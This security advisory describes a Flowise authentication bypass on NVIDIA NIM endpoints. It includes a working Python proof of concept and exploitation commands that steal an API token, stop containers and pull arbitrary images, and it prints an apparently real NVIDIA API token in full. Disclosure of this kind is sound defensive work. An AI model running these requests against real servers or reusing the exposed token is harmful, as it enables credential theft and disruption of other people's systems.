High

Flowise Missing Authentication on NVIDIA NIM Endpoints

  • Disclosed: 06.03.2026
  • Updated: 11.10.2026 10:22

Missing Authentication on NVIDIA NIM Endpoints

Summary

The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.

Vulnerability Details

Field Value
CWE CWE-306: Missing Authentication for Critical Function
Affected File packages/server/src/utils/constants.ts
Affected Line Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS)
CVSS 3.1 8.6 (High)

Root Cause

In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:

ts
export const WHITELIST_URLS = [
    // ... other URLs
    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation
    // ...
]

This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.

Affected Endpoints

Method Endpoint Risk
GET /api/v1/nvidia-nim/get-token Leaks valid NVIDIA API token
GET /api/v1/nvidia-nim/preload Resource consumption
GET /api/v1/nvidia-nim/download-installer Resource consumption
GET /api/v1/nvidia-nim/list-running-containers Information disclosure
POST /api/v1/nvidia-nim/pull-image Arbitrary image pull
POST /api/v1/nvidia-nim/start-container Arbitrary container start
POST /api/v1/nvidia-nim/stop-container Denial of Service
POST /api/v1/nvidia-nim/get-image Information disclosure
POST /api/v1/nvidia-nim/get-container Information disclosure

Impact

1. NVIDIA API Token Leakage

The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.

Token obtained:

js
{
  "access_token": "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",
  "token_type": "Bearer",
  "expires_in": 3600
}

Token validation:

bash
curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models

2. Container Runtime Manipulation

On systems with Docker/NIM installed, an unauthenticated attacker can:

  • List running containers (reconnaissance)
  • Stop containers (Denial of Service)
  • Start containers with arbitrary images
  • Pull arbitrary Docker images (resource consumption, potential malicious images)

Proof of Concept

poc.py

python
#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated

Usage:
  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""

import argparse
import urllib.request
import urllib.error

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--path", required=True, help="NIM endpoint path")
    ap.add_argument("--method", default="GET", choices=["GET", "POST"])
    ap.add_argument("--data", default="", help="Raw request body for POST")
    args = ap.parse_args()

    url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
    body = args.data.encode("utf-8") if args.method == "POST" else None
    req = urllib.request.Request(
        url,
        data=body,
        method=args.method,
        headers={"Content-Type": "application/json"} if body else {},
    )

    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            print(r.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()
<img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" />

Exploitation Steps

bash
# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token

# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers

# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
  --method POST --data '{"containerId":"<target_id>"}'

# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
  --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

Evidence

Token retrieval without authentication:

bash
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}

Token grants access to NVIDIA API:

bash
$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}

Container endpoints return 500 (not 401) proving auth bypass:

bash
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}

References

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package flowise < 3.0.13 3.0.13

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Weakness (CWE)
CWE-306
Platform
npm
Package
flowise
Disclosed
06.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5f53-522j-j454 - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. High · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  6. High CVE-2026-46443 < 3.1.2 3.1.2
  7. High CVE-2026-56274 < 3.1.2 3.1.2
  8. High · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  9. High · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  10. High CVE-2026-41274 < 3.1.0 3.1.0
  11. High · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  12. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  13. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  14. High · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  15. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  16. High · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  17. Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  18. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  19. Flowise Missing Authentication on NVIDIA NIM Endpoints this entry
    High CVE-2026-30824 < 3.0.13 3.0.13
  20. High · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  21. High CVE-2026-30821 < 3.0.13 3.0.13
  22. Critical · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  23. High · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  24. Critical · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 no fix
  25. High CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  26. Critical · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  27. Critical · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  28. Critical · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  29. High · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  30. Critical · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
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